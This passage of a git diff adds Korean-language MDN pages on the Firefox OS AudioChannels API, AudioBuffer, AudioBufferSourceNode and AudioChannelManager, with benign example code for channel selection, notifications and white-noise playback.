+ <li>{{domxref("Document.timeline")}}</li>
+</ul>
diff --git a/files/ko/web/api/audio_channels_api/using_the_audiochannels_api/index.html b/files/ko/web/api/audio_channels_api/using_the_audiochannels_api/index.html
new file mode 100644
index 0000000000..1e07e262c6
--- /dev/null
+++ b/files/ko/web/api/audio_channels_api/using_the_audiochannels_api/index.html
@@ -0,0 +1,248 @@
+---
+title: Using the AudioChannels API
+slug: Web/API/Audio_Channels_API/Using_the_AudioChannels_API
+tags:
+  - Firefox OS
+  - Guide
+  - Non-standard
+translation_of: Archive/B2G_OS/API/Audio_Channels_API/Using_the_AudioChannels_API
+---
+<p>{{DefaultAPISidebar("Audio Channels API")}}{{ non-standard_header() }}</p>
+
+<div class="summary">
+<p>오디오 채널 API(<a href="/en-US/docs/Web/API/Audio_Channels_API">Audio Channels API</a>)는 현재 Firefox OS 전용 기능으로, 응용프로그램의 오디오 컨텐트를 중요성에 따른 계층구조로 배치하도록 한다. 이는 다른 오디오의 재생과 액션 발생에 반응하여 오디오가 일시정지되고 다시재생될 때를 지시하고 다른 종류의 볼륨을 제어할 수 있도록 한다. 이 가이드는 오디오 채널에 대한 기본적인 사용방법을 보여줄 것이다.</p>
+</div>
+
+<p>오디오 채널의 종류는 다음과 같다.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">채널 이름</th>
+   <th scope="col">중요도</th>
+   <th scope="col">용도</th>
+   <th scope="col">앱 권한 수준</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>normal</td>
+   <td>1</td>
+   <td>UI 효과음, 앱과 웹 컨텐트</td>
+   <td>Normal</td>
+  </tr>
+  <tr>
+   <td>content</td>
+   <td>2</td>
+   <td>음악, 라디오, 비디오</td>
+   <td>Normal</td>
+  </tr>
+  <tr>
+   <td>notification</td>
+   <td>3</td>
+   <td>새 이메일, SMS 수신음</td>
+   <td>Privileged</td>
+  </tr>
+  <tr>
+   <td>alarm</td>
+   <td>4</td>
+   <td>알람 시계, 캘린더 알람</td>
+   <td>Privileged</td>
+  </tr>
+  <tr>
+   <td>ringer</td>
+   <td>5</td>
+   <td>전화 수신 벨소리</td>
+   <td>Internal</td>
+  </tr>
+  <tr>
+   <td>telephony</td>
+   <td>6</td>
+   <td>진행중인 통화, VOIP 통화</td>
+   <td>Internal</td>
+  </tr>
+  <tr>
+   <td>publicnotification</td>
+   <td>7</td>
+   <td>강제된 카메라 셔터음</td>
+   <td>Internal</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>하나의 오디오 채널이 사용되면, 언제든지 낮은 우선순위의 채널들은 자동으로 일시정디 된다. 단, 한가지 예외가 있는데, "normal"과 "content"채널은 동일한 우선순위를 가진다. 이는 "content"채널이 사용된다면 "normal"채널과 믹싱된다는 것을 의미한다. 만약 두 앱이 동시에 "content" 채널을 사용하려 한다면, 포어그라운드 앱이 우선권을 가진다. 만약 두 앱 모두 백그라운드 앱이라면, 마지막에 채널을 사용시도한 앱이 우선권을 가진다.</p>
+
+<div class="note">
+<p><strong>Note</strong>: 각 채널은 음소거와 볼륨 설정을 따로 가지고 있다.</p>
+</div>
+
+<div class="note">
+<p><strong>Note</strong>: "telephony" 채널은 통화용 내장 스피커를 사용한다. 다른 모든 채널은 스피커 또는 헤드폰/헤드셋 등을 사용한다.</p>
+</div>
+
+<h2 id="유즈_케이스">유즈 케이스</h2>
+
+<p>As obvious user-centric uses cases, audio channels allow users to play music from audio player apps even when they are running in the background, so they can do other things as it plays. However, they probably want the music to pause when someone rings the phone. As another example, when users mute their phone, they probably don't want to also mute their wake up alarm for the next morning.</p>
+
+<p>Other use cases:</p>
+
+<ul>
+ <li>When the user leaves an app, under normal circumstances the app should be muted.</li>
+ <li>When the volume keys are used it should change the volume for different audio types depending on context. For example while in the alarm app, the volume keys should adjust the alarm volume and not the "normal" volume.</li>
+ <li>When a video app starts playing audio, background music should be muted while the video is playing.</li>
+ <li>Turn down the volume of background audio rather than completely silence it when the "notification" channel is used.</li>
+ <li>Show which applications/tabs are currently playing audio.</li>
+ <li>Show UI to mute a specific app/tag.</li>
+ <li>Enable a spotify-app/tab to be treated as a music app. I.e. it should be able to get the same benefits as if it had mozaudiochannel=content. Including both the automatic muting of other content audio, and the ability to play in the background.</li>
+ <li>Control which application/tab gets to play audio if there are several background applications that all are attempting to use the "content" channel, but no visible apps using the "content" channel.</li>
+</ul>
+
+<h2 id="예제_앱">예제 앱</h2>
+
+<p>To explain audio channel functionality, we have built a sample app, imaginitively called <a href="https://github.com/mdn/audio-channels-demo">audio-channels-demo</a> (you can <a href="http://mdn.github.io/audio-channels-demo/">see it running live here</a>.) The following shows what it looks like on Firefox OS.</p>
+
+<p><img alt="A demo showing a title of AudioChannels demo, with an audio player and a select box to choose an audio channel to play the audio in." src="https://mdn.mozillademos.org/files/8801/demo-screen.png" style="display: block; height: 356px; margin: 0px auto; width: 200px;"></p>
+
+<p>The demo provides an audio player, and a {{htmlelement("select")}} box for choosing what audio channel to play the audio in (only "Normal" and "Content" are provided.) When the content audio channel is selected, you will be able to go to the homescreen and put the app in the background but still have the music keep playing. This is not the case with the normal channel — "normal" audio content is stopped when an app goes into the background.</p>
+
+<p>To interrupt the playing of "content" audio content, you could try phoning the phone that the app is running on, or setting off an alarm. As you can see from the table above, these are both in higher priority audio channels.</p>
+
+<p>The app also fires notifications when audio is interrupted or play resumes, and when the headphones are unplugged or plugged in again. Let's explore how this functionality is implemented.</p>
+
+<h2 id="매니페스트_권한이_요구된다">매니페스트 권한이 요구된다</h2>
+
+<p>As explained in the table near the top, the different audio channels require a range of <a href="/en-US/Apps/Build/App_permissions">different permission levels</a> for their use in apps, ranging from normal (hosted apps) to internal (also known as certified.) In any case, you do need to declare the <code>permissions</code> field in your <code>manifest.webapp</code> file to use AudioChannels, once per channel (note that we also declared permission to use system notifications, as they are used in our demo app also.)</p>
+
+<pre class="brush: json">"permissions": {
+  "audio-channel-normal" : {
+    "description" : "Needed to play this app's audio content on the normal channel"
+  },
+  "audio-channel-content" : {
+    "description" : "Needed to play this app's audio content on the content channel"
+  },
+  "desktop-notification" : {
+    "description" : "Needed to fire system notifications"
+  }
+}</pre>
+
+<h2 id="Selecting_the_audio_channel">Selecting the audio channel</h2>
+
+<p>Changing the audio channel to play the audio through in the app is a slightly more complex matter than you might think. Declaring the channel type statically in your HTML might look like this:</p>
+
+<pre class="brush: html">&lt;audio mozaudiochannel="content" autoplay src="myAudio.ogg"&gt;&lt;/audio&gt;</pre>
+
+<p>Declaring it dynamically in your JavaScript might look like this:</p>
+
+<pre class="brush: js">var player = new Video();
+player.mozAudioChannelType = 'content';
+player.src = '../video-clips/myVideo.ogv';</pre>
+
+<p>However you do it, you need to declare the channel before you declare the <code>src</code> of the media you want to play, so it can be loaded and placed into the right channel. For this reason, our demo app does it in a slightly convoluted way, deleting and then recreating the audio player each time the audio channel is changed:</p>
+
+<pre class="brush: js">function createAudio(channelValue) {
+
+  ...
+
+  audioContainer.innerHTML = '';
+  var player = document.createElement('audio');
+  var source1 = document.createElement('source');
+  var source2 = document.createElement('source');
+
+  player.controls = true;
+  player.mozAudioChannelType = channelValue;
+  source1.src = 'audio/dragon.ogg';
+  source1.type = 'audio/ogg';
+  source2.src = 'audio/dragon.mp3';
+  source2.type = 'audio/mpeg';
+
+  player.appendChild(source1);
+  player.appendChild(source2);
+  audioContainer.appendChild(player);
+
+  ...
+
+}
+
+channelSelect.addEventListener('change', function() {
+  createAudio(channelSelect.value);
+});</pre>
+
+<p>So the <code>createAudio()</code> function is run when the {{htmlelement("select")}} box (referenced in the JS as <code>channelSelect</code>) has its value changed, with the <code>channelSelect</code> value as a parameter. In this function, the <code>audioContainer</code> (a simple {{htmlelement("div")}} that wraps the audio player) has its contents deleted. Next, a new audio player and {{htmlelement("source")}} elements are created, have their necessary attributes filled in, and are added back into the <code>audioContainer</code>. Note that <code>player.mozAudioChannelType = channelValue;</code> is included before the audio source is set.</p>
+
+<p>So with the audio channel set to "content", you can now keep the audio playing even when the app is in the background.</p>
+
+<h2 id="Setting_which_channel's_volume_to_control">Setting which channel's volume to control</h2>
+
+<p>As well as setting what audio channel your audio is going to play in, you can also separately set what channel will have its volume adjusted when the user presses the device's volume keys. This for example allows us to adjust our standard content's volume without affect ringer or alarm volume. It is controlled using the {{domxref("AudioChannelManager.volumeControlChannel")}} property. So at the top of the <code>createAudio()</code> function, we include this block:</p>
+
+<pre class="brush: js">function createAudio(channelValue) {
+  if (navigator.mozAudioChannelManager) {
+    if(channelValue == 'normal') {
+      navigator.mozAudioChannelManager.volumeControlChannel = 'normal';
+    } else if(channelValue == 'content') {
+      navigator.mozAudioChannelManager.volumeControlChannel = 'content';
+    }
+    console.log(navigator.mozAudioChannelManager.volumeControlChannel);
+  }
+
+  ...
+
+}
+</pre>
+
+<p>The {{domxref("AudioChannelManager")}} object is accessed by a call to the {{domxref("Navigator.mozAudioChannelManager","navigator.mozAudioChannelManager")}} property — note the <code>moz</code> prefix. This is first done to provide some rudimentary feature detection, so trying to access this feature won't break the app on platforms that don't support it. Next, we include an <code>if ... else if</code> block to check what channel value was passed into the function from the {{htmlelement("select")}} element, and then set the <code>volumeControlChannel</code> value accordingly.</p>
+
+<h2 id="Firing_notifications_when_the_audio_is_interrupted">Firing notifications when the audio is interrupted</h2>
+
+<p>Now we have audio playing in an audio channel, it will be interrupted either when a more important audio channel starts being played (for example when a telephone call is received), or when the app is moved into the background in the case of the lowest priority "normal" channel. When this condition ends, our channel will resume playing. We can respond to these events using the <code>mozinterruptbegin</code> and <code>mozinterruptend</code> event handlers, which can be attached to the video or audio player playing the audio. You can see these handlers being used at the bottom of the <code>createAudio()</code> function:</p>
+
+<pre class="brush: js">function createAudio(channelValue) {
+
+  ...
+
+  player.addEventListener('mozinterruptbegin', function() {
+    var notification = new Notification('Metal interrupted!', { body: "Something more important?" });
+  });
+
+  player.addEventListener('mozinterruptend', function() {
+    var notification = new Notification('Metal resumed!', { body: "Important thing finished." });
+  });
+}</pre>
+
+<p>Here we attach both relevant event listeners to the audio <code>player</code>; when the events occur, we run simple functions that fire system notifications to tell the user what has happened. See the following screenshots for what it will look like:</p>
+
+<div style="width: 410px; margin: 0 auto;"><img alt="A notification at the top of the Firefox OS interface saying Metal interrupted: something more important?" src="https://mdn.mozillademos.org/files/8803/interrupt-notification.png" style="height: 356px; margin: 0; padding: 0; width: 200px;"> <img alt="A notification at the top of the Firefox OS interface saying Metal resumed: important thing finished?" src="https://mdn.mozillademos.org/files/8805/resume-notification.png" style="height: 356px; margin: 0; padding: 0; width: 200px;"></div>
+
+<h2 id="Firing_notifications_when_the_headphones_are_(un)plugged">Firing notifications when the headphones are (un)plugged</h2>
+
+<p>The {{domxref("AudioChannelManager")}} object includes a {{domxref("AudioChannelManager.headphones","headphones")}} property that returns <code>true</code> if headphones are plugged into the device and false if not, and an event handler — {{domxref("AudioChannelManager.onheadphoneschange","onheadphoneschange")}} — which fires whenever headphones are plugged in to or unplugged from the device. We decided to use these together to create a headphone status notification system:</p>
+
+<pre class="brush: js">if (navigator.mozAudioChannelManager) {
+  navigator.mozAudioChannelManager.onheadphoneschange = function() {
+    if(navigator.mozAudioChannelManager.headphones == true) {
+      var notification = new Notification('Headphones plugged in!');
+    } else {
+      var notification = new Notification('Headphones unplugged!');
+    }
+  }
+}</pre>
+
+<p>Let's go through this and explain what's happening. Again, multiple calls are made to {{domxref("Navigator.mozAudioChannelManager","navigator.mozAudioChannelManager")}}, first for feature detection, then to set up a function that runs when the onheadphoneschange handler fires. Inside this function, we check whether the headphones property returns true — if so, the headphones are plugged in, so we tell the user that with a notification. If not, they must be unplugged, so we return a suitable notification for that case too. The notifications will look something like this:</p>
+
+<p><img alt="A notification at the top of the Firefox OS interface saying Headphones plugged in!" src="https://mdn.mozillademos.org/files/8807/headphones-notification.png" style="display: block; height: 356px; margin: 0px auto; width: 200px;"></p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<p>The AudioChannels API has no official spec at the moment; see <a href="https://wiki.mozilla.org/WebAPI/AudioChannels">https://wiki.mozilla.org/WebAPI/AudioChannels</a> for implementation details, WebIDL, etc.</p>
+
+<h2 id="See_also">See also</h2>
+
+<div id="compat-mobile"> </div>
+
+<ul>
+ <li><a href="/en-US/Apps/Build/App_permissions">App permissions for Firefox OS</a></li>
+ <li><a href="/en-US/docs/Web/API/AudioChannels_API/Using_the_AudioChannels_API">Using the AudioChannels API</a></li>
+ <li>{{domxref("Navigator.mozAudioChannelManager","navigator.mozAudioChannelManager")}}</li>
+ <li>{{domxref("HTMLMediaElement")}}</li>
+ <li><a href="/en-US/Apps/Build/User_notifications">Notifications</a></li>
+</ul>
diff --git a/files/ko/web/api/audiobuffer/index.html b/files/ko/web/api/audiobuffer/index.html
new file mode 100644
index 0000000000..8c5e1a8736
--- /dev/null
+++ b/files/ko/web/api/audiobuffer/index.html
@@ -0,0 +1,172 @@
+---
+title: AudioBuffer
+slug: Web/API/AudioBuffer
+translation_of: Web/API/AudioBuffer
+---
+<p>{{APIRef}}</p>
+<div>
+ <p><code>AudioBuffer는 </code>{{ domxref("AudioContext.decodeAudioData()") }} 혹은 {{ domxref("AudioContext.createBuffer()") }}를 통해 만들어진 로우 데이터를 메모리상에 두고 사용하는 기술이다. 일단 한번 AudioBuffer 에 들어간 정보는 {{ domxref("AudioBufferSourceNode") }}를 통해 재생이 가능하다.</p>
+ <p>이 객체는 일반적으로 45초 이하의 오디오 정보를 가지고 있다. 더 긴 시간의 소리정보는 {{domxref("MediaElementAudioSourceNode")}}를 사용하는 것이 더 적합하다.  The buffer contains data in the following format:  non-interleaved IEEE754 32-bit linear PCM with a nominal range between <code>-1</code> and <code>+1</code>, that is, 32bits floating point buffer, with each samples between -1.0 and 1.0.  만약에  {{domxref("AudioBuffer")}} 가 멀티 채널을 가진다면 이는 버퍼를 나눠서 저장을 합니다.</p>
+</div>
+<h2 id="Properties">Properties</h2>
+<dl>
+ <dt>
+  {{domxref("AudioBuffer.sampleRate")}} {{readonlyInline}}</dt>
+ <dd>
+  버퍼에 저장된 샘플정보의 매 초당 배율을 float형으로 리턴한다.</dd>
+ <dt>
+  {{domxref("AudioBuffer.length")}} {{readonlyInline}}</dt>
+ <dd>
+  샘플프레임안의 버퍼에 저장된 PCM정보의 길이를 정수형으로 리턴한다.</dd>
+ <dt>
+  {{domxref("AudioBuffer.duration")}} {{readonlyInline}}</dt>
+ <dd>
+  버퍼에 저장된 PCM정보의 재생길이를 double형으로 리턴한다.</dd>
+ <dt>
+  {{domxref("AudioBuffer.numberOfChannels")}} {{readonlyInline}}</dt>
+ <dd>
+  버퍼에 저장된 PCM정보에 의해 구분된 채널의 갯수를 정수형으로 리턴한다.</dd>
+</dl>
+<h2 id="Methods">Methods</h2>
+<dl>
+ <dt>
+  {{domxref("AudioBuffer.getChannelData()")}}</dt>
+ <dd>
+  {{jsxref("Float32Array")}}에 담긴 PCM데이터와 channel 파라메로 정의된 채널 정보(첫번째 채널은 0)를 리턴한다.</dd>
+ <dt>
+  {{domxref("AudioBuffer.copyFromChannel()")}}</dt>
+ <dd>
+  특정 채널의 <span class="idlType"><code>AudioBuffer를 </code></span><code>destination배열로 복사를 한다.</code></dd>
+ <dt>
+  {{domxref("AudioBuffer.copyToChannel()")}}</dt>
+ <dd>
+  특정 채널의 <span class="idlType"><code>AudioBuffer에 </code></span><code>source배열로 부터 정보를 복사해 온다.</code></dd>
+</dl>
+<h2 id="Example">Example</h2>
+<p>이 예제는 어떻게 <code>AudioBuffer 를 생성하고</code> 랜덤한 화이트 노이즈를 채우는 방법을 설명한다.  <a href="https://github.com/mdn/audio-buffer">audio-buffer demo</a> 에서 전체 소스를 확인 가능하고 <a href="http://mdn.github.io/audio-buffer/">running live</a> 실시간 테스트고 가능하다.</p>
+<pre class="brush: js;highlight:[7,14,27]">// Stereo
+var channels = 2;
+
+// Create an empty two second stereo buffer at the
+// sample rate of the AudioContext
+var frameCount = audioCtx.sampleRate * 2.0;
+var myArrayBuffer = audioCtx.createBuffer(channels, frameCount, audioCtx.sampleRate);
+
+button.onclick = function() {
+  // Fill the buffer with white noise;
+  // just random values between -1.0 and 1.0
+  for (var channel = 0; channel &lt; channels; channel++) {
+    // This gives us the actual array that contains the data
+    var nowBuffering = myArrayBuffer.getChannelData(channel);
+    for (var i = 0; i &lt; frameCount; i++) {
+      // Math.random() is in [0; 1.0]
+      // audio needs to be in [-1.0; 1.0]
+      nowBuffering[i] = Math.random() * 2 - 1;
+    }
+  }
+
+  // Get an AudioBufferSourceNode.
+  // This is the AudioNode to use when we want to play an AudioBuffer
+  var source = audioCtx.createBufferSource();
+
+  // set the buffer in the AudioBufferSourceNode
+  source.buffer = myArrayBuffer;
+
+  // connect the AudioBufferSourceNode to the
+  // destination so we can hear the sound
+  source.connect(audioCtx.destination);
+
+  // start the source playing
+  source.start();
+
+}
+</pre>
+<h2 id="Specification">Specification</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Audio API', '#the-audiobuffer-interface', 'AudioBuffer')}}</td>
+   <td>{{Spec2('Web Audio API')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+<div>
+ {{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Feature</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari (WebKit)</th>
+   </tr>
+   <tr>
+    <td>Basic support</td>
+    <td>14 {{property_prefix("webkit")}}</td>
+    <td>{{CompatGeckoDesktop(25)}}</td>
+    <td>{{CompatNo}}</td>
+    <td>15 {{property_prefix("webkit")}}<br>
+     22 (unprefixed)</td>
+    <td>6 {{property_prefix("webkit")}}</td>
+   </tr>
+   <tr>
+    <td><code>copyFromChannel()</code> and <code>copyToChannel()</code></td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatGeckoDesktop(27)}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Feature</th>
+    <th>Android</th>
+    <th>Chrome</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>Firefox OS</th>
+    <th>IE Phone</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Basic support</td>
+    <td>{{CompatNo}}</td>
+    <td>28 {{property_prefix("webkit")}}</td>
+    <td>{{CompatGeckoMobile(25)}}</td>
+    <td>1.2</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+    <td>6 {{property_prefix("webkit")}}</td>
+   </tr>
+   <tr>
+    <td><code>copyFromChannel()</code> and <code>copyToChannel()</code></td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatGeckoMobile(27)}}</td>
+    <td> </td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<h2 id="See_also">See also</h2>
+<ul>
+ <li><a href="/en-US/docs/Web/API/Web_Audio_API/Using_Web_Audio_API">Using the Web Audio API</a></li>
+</ul>
diff --git a/files/ko/web/api/audiobuffersourcenode/index.html b/files/ko/web/api/audiobuffersourcenode/index.html
new file mode 100644
index 0000000000..84d15b5d2d
--- /dev/null
+++ b/files/ko/web/api/audiobuffersourcenode/index.html
@@ -0,0 +1,146 @@
+---
+title: AudioBufferSourceNode
+slug: Web/API/AudioBufferSourceNode
+translation_of: Web/API/AudioBufferSourceNode
+---
+<div>{{APIRef("Web Audio API")}}</div>
+
+<p><span class="seoSummary"><strong><code>AudioBufferSourceNode</code></strong> 의 오디오 소스는 in-memory 의 {{domxref("AudioNode")}} 상에 저장된 데이터로 구성되어있다. 이는 오디오 소스 그 자체처럼 동작을 한다.</span></p>
+
+<p><code>AudioBufferSourceNode</code> 는 입력정보를 가지지 않고 정확히 하나의 출력정보를 가진다. 출력상의 여러 채널은 <code>AudioBufferSourceNode.buffer</code> 프로퍼티로로 동작할 {{domxref("AudioBuffer")}} 의 채널의 수와 일치한다. 만약에 <code>AudioBufferSourceNode.buffer</code>가 <code>null</code>이라면 출력은 오직 무음으로 출력이된다. {{domxref("AudioBufferSourceNode")}}는 오직 한번만 재생이 된다. 즉 <code>AudioBufferSourceNode.start()</code>가 한번만 호출될수 있다. 만약에 한번더 재생하기를 원한다면 또 다른 <code>AudioBufferSourceNode</code>를 생성해야 한다. 이 노드는 매우 간편히 생성가능하다.  <code>AudioBuffer</code>는 다른 곳에서 접근해 재생이 가능하다. <code>AudioBufferSourceNode</code>s는 "fire and forget(쓰고 잊자)" 처럼 한번 쓰고 나면 해당노드의 모든 참조들이 없어지고 자동적으로 가비지 콜렉터로 가게된다.</p>
+
+<p>여러번 실행을 하면 <code>AudioBufferSourceNode.stop()</code>을 통해 정지가 가능하다. 가장 최근의 실행된것이 이전의 것으로 대체가 되어 <code>AudioBufferSourceNode</code>버퍼의 마지막에 도착하지 않은 상태가 된다.</p>
+
+<p><br>
+ <img alt="The AudioBufferSourceNode takes the content of an AudioBuffer and m" src="https://mdn.mozillademos.org/files/9717/WebAudioAudioBufferSourceNode.png" style="display: block; height: 193px; margin: 0px auto; width: 365px;"></p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Number of inputs</th>
+   <td><code>0</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Number of outputs</th>
+   <td><code>1</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Channel count</th>
+   <td>defined by the associated {{domxref("AudioBuffer")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em> </em><em>{{domxref("AudioNode")}}</em> 를 부모로 가지는 프로퍼티.</p>
+
+<dl>
+ <dt>{{domxref("AudioBufferSourceNode.buffer")}}</dt>
+ <dd>{{domxref("AudioBuffer")}} 의 음원이 재생이 되거나 값이 NULL 이라면 채널하나을 무음으로 정의한다.</dd>
+ <dt>{{domxref("AudioBufferSourceNode.playbackRate")}} {{readOnlyinline}}</dt>
+ <dd>{{domxref("AudioParam")}}에는 두개의 파라메터가 있는 데 그중의 하나인 <a href="/ko/docs/Web/API/AudioParam#a-rate">a-rate</a>을 재생이될 정보의 속도요소로 정의 한다.  출력에 수정된 음의 보정이 있지않으므로 이 는 샘플의 음을 변경하는데 사용이 가능하다.</dd>
+ <dt>{{domxref("AudioBufferSourceNode.loop")}}</dt>
+ <dd>Boolean값으로 음원이 재생되어 {{domxref("AudioBuffer")}}의 끝에 다달했음을 알리는 값이다. false를 기본값으로 가진다.</dd>
+ <dt>{{domxref("AudioBufferSourceNode.loopStart")}}</dt>
+ <dd>double값으로 {{domxref("AudioBuffer")}}가 재시작이 되는 경우 반드시 발생한다. 기본값은 0이다.</dd>
+ <dt>{{domxref("AudioBufferSourceNode.loopEnd")}}</dt>
+ <dd>double값으로 {{domxref("AudioBuffer")}}가 다시 재생이 되는 경우 재생을 멈춰야 한다(그리고 결국에는 다시 시작한다). 기본값은 0이다.</dd>
+</dl>
+
+<h3 id="Event_handlers">Event handlers</h3>
+
+<dl>
+ <dt>{{domxref("AudioBufferSourceNode.onended")}}</dt>
+ <dd>{{domxref("EventHandler")}}로 {{event("ended_(Web_Audio)", "ended")}}이벤트와 연관된 콜백함수를 가진다.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>{{domxref("AudioNode")}}</em> 를 부모로 가지는 매서드.</p>
+
+<dl>
+ <dt>{{domxref("AudioBufferSourceNode.start()")}}</dt>
+ <dd>음원이 재생되는 시작되는 시점.</dd>
+ <dt>{{domxref("AudioBufferSourceNode.stop()")}}</dt>
+ <dd>음원이 재생되는 끝나는 시점.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<p>이 예제는 two-second buffer를 생성하여 화이트 노이즈로 채워 이를 <code>AudioBufferSourceNode을 통해 재생한다.</code></p>
+
+<div class="note">
+<p><strong>Note</strong>: You can also <a class="external external-icon" href="http://mdn.github.io/audio-buffer/">run the code live</a>, or <a class="external external-icon" href="https://github.com/mdn/audio-buffer">view the source</a>.</p>
+</div>
+
+<pre class="brush: js">var audioCtx = new (window.AudioContext || window.webkitAudioContext)();
+var button = document.querySelector('button');
+var pre = document.querySelector('pre');
+var myScript = document.querySelector('script');
+
+pre.innerHTML = myScript.innerHTML;
+
+// Stereo
+var channels = 2;
+// Create an empty two-second stereo buffer at the
+// sample rate of the AudioContext
+var frameCount = audioCtx.sampleRate * 2.0;
+
+var myArrayBuffer = audioCtx.createBuffer(2, frameCount, audioCtx.sampleRate);
+
+button.onclick = function() {
+  // Fill the buffer with white noise;
+  //just random values between -1.0 and 1.0
+  for (var channel = 0; channel &lt; channels; channel++) {
+   // This gives us the actual ArrayBuffer that contains the data
+   var nowBuffering = myArrayBuffer.getChannelData(channel);
+   for (var i = 0; i &lt; frameCount; i++) {
+     // Math.random() is in [0; 1.0]
+     // audio needs to be in [-1.0; 1.0]
+     nowBuffering[i] = Math.random() * 2 - 1;
+   }
+  }
+
+  // Get an AudioBufferSourceNode.
+  // This is the AudioNode to use when we want to play an AudioBuffer
+  var source = audioCtx.createBufferSource();
+  // set the buffer in the AudioBufferSourceNode
+  source.buffer = myArrayBuffer;
+  // connect the AudioBufferSourceNode to the
+  // destination so we can hear the sound
+  source.connect(audioCtx.destination);
+  // start the source playing
+  source.start();
+}</pre>
+
+<div class="note">
+<p><strong>Note</strong>: For a <code>decodeAudioData</code> example, see the {{domxref("AudioContext.decodeAudioData")}} page.</p>
+</div>
+
+<h2 id="Specification">Specification</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Audio API', '#the-audiobuffersourcenode-interface', 'AudioBufferSourceNode')}}</td>
+   <td>{{Spec2('Web Audio API')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{Compat("api.AudioBufferSourceNode")}}</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Web_Audio_API/Using_Web_Audio_API">Using the Web Audio API</a></li>
+</ul>
diff --git a/files/ko/web/api/audiochannelmanager/index.html b/files/ko/web/api/audiochannelmanager/index.html
new file mode 100644
index 0000000000..6bee14adb8
--- /dev/null
+++ b/files/ko/web/api/audiochannelmanager/index.html
@@ -0,0 +1,74 @@
+---
+title: AudioChannelManager
+slug: Web/API/AudioChannelManager
+tags:
+  - API
+  - Audio
+  - Non-standard
+translation_of: Archive/B2G_OS/API/AudioChannelManager
+---
+<p>{{APIRef("Web Audio API")}} {{Non-standard_header}}</p>
+
+<p>AudioChannelManager는 디바이스의 오디오 채널을 관리하는 기능을 포함하는 오디오 채널 API(<a href="/en-US/docs/Web/API/AudioChannels_API">AudioChannels API</a>)의 인터페이스이다. 특정한 앱 내에서 볼륨 버튼이 눌렸을 때 어떤 채널의 볼륨이 적용될지를 설정하는 기능을 포함하고 있다.</p>
+
+<h2 id="메소드">메소드</h2>
+
+<div class="note">
+<p><strong>Note</strong>: 부모클래스인 {{domxref("EventTarget")}}의 메소드를 상속받는다.</p>
+</div>
+
+<h2 id="속성">속성</h2>
+
+<div class="note">
+<p><strong>Note</strong>: 부모클래스인 {{domxref("EventTarget")}}의 속성을 상속받는다.</p>
+</div>
+
+<dl>
+ <dt>{{domxref("AudioChannelManager.headphones")}} {{readonlyinline}}</dt>
+ <dd>헤드폰이 디바이스에 장착되었는지 여부를 나타내는 불리언 값.</dd>
+ <dt>{{domxref("AudioChannelManager.telephonySpeaker")}}</dt>
+ <dd><span class="short_text" id="result_box" lang="ko"><span class="atn">"</span><span class="atn">telephony</span><span class="atn">" </span><span>오디오</span> <span class="hps">채널이</span> <span class="hps">장치의</span> <span class="hps">스피커</span> <span class="hps">밖으로</span> <span class="atn hps">재생</span><span>할지 여부를</span> <span class="hps">설정할</span> <span class="hps">수 있도록하는</span> <span class="atn hps">불리언 값</span><span>.</span></span></dd>
+ <dt>{{domxref("AudioChannelManager.volumeControlChannel")}}</dt>
+ <dd>하드웨어 볼륨 버튼을 눌렀을 때 변경해야 할 오디오 채널에 대한 {{domxref("DOMString")}} 값.</dd>
+</dl>
+
+<h3 id="이벤트_핸들러">이벤트 핸들러</h3>
+
+<dl>
+ <dt>{{domxref("AudioChannelManager.onheadphoneschange")}}</dt>
+ <dd>헤드폰이 장착되었는지 혹은 해제되었는지 알려주는 트리거.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<p>아래 간단한 예제를 보면, 앱의 <code>AudioChannelManager 객체에 접근하기 위해 </code>{{domxref("Navigator.mozAudioChannelManager","navigator.mozAudioChannelManager")}} 속성을 사용한다.  먼저 첫번째로 수신된 변수에 따라 {{domxref("AudioChannelManager.volumeControlChannel")}} 속성을 설정한 후, 몇 가지 기본적인 특징을 검출한다.</p>
+
+<pre class="brush: js">var channelValue = 'content';
+
+if (navigator.mozAudioChannelManager) {
+  if(channelValue == 'normal') {
+    navigator.mozAudioChannelManager.volumeControlChannel = 'normal';
